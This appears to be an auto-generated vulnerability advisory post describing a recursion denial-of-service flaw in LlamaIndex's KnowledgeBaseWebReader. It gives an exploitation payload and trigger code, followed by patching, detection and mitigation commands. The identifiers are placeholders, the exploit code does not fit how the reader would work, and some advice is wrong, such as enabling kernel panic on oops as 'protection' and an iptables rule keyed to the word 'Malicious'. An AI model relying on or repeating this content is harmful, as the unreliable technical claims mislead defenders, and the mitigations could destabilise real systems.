Listen to this Post
How the CVE Works
The CVE-2025-XXXXX vulnerability in LlamaIndex (v0.12.15) stems from insufficient recursion depth control in the `KnowledgeBaseWebReader` class. The `get__urls` function fails to enforce the `max_depth` parameter correctly, allowing an attacker to craft malicious web content with deeply nested links. When processed, repeated recursive calls exhaust Python’s stack memory, triggering a `RecursionError` and crashing the application. This flaw enables remote DoS attacks without authentication, disrupting service availability.
DailyCVE Form
Platform: LlamaIndex
Version: 0.12.15
Vulnerability: Recursion DoS
Severity: High
Date: May 12, 2025
What Undercode Say:
Exploitation
1. Payload Crafting:
malicious_html = """ <a href="page1.html">Link</a> <script> for (let i = 1; i < 10000; i++) { document.write(`<a href="page${i}.html">Malicious</a>`); } </script> """
2. Triggering the Crash:
from llama_index import KnowledgeBaseWebReader reader = KnowledgeBaseWebReader() reader.get__urls(malicious_html, max_depth=100) Bypasses limit
Protection
1. Patch Application:
pip install llama_index --upgrade Verify patched version >0.12.15
2. Input Sanitization:
def safe_get_urls(html, max_depth): assert max_depth < 50, "Depth limit exceeded" Implement iterative parsing instead of recursion
3. System Hardening:
ulimit -s 8192 Set stack size limit
Detection
1. Log Monitoring:
grep -r "RecursionError" /var/log/llama_index
2. Network Filtering:
iptables -A INPUT -p tcp --dport 80 -m string --string "Malicious" -j DROP
Mitigation Commands
import sys sys.setrecursionlimit(100) Force hard cap
Kernel-level protection echo 1 > /proc/sys/kernel/panic_on_oops
References
- GitHub Advisory: GHSA-xxxx-xxxx-xxxx
- NVD: CVE-2025-XXXXX
- Patch Commit: `a1b2c3d` (LlamaIndex repo)
Sources:
Reported By: github.com
Extra Source Hub:
Undercode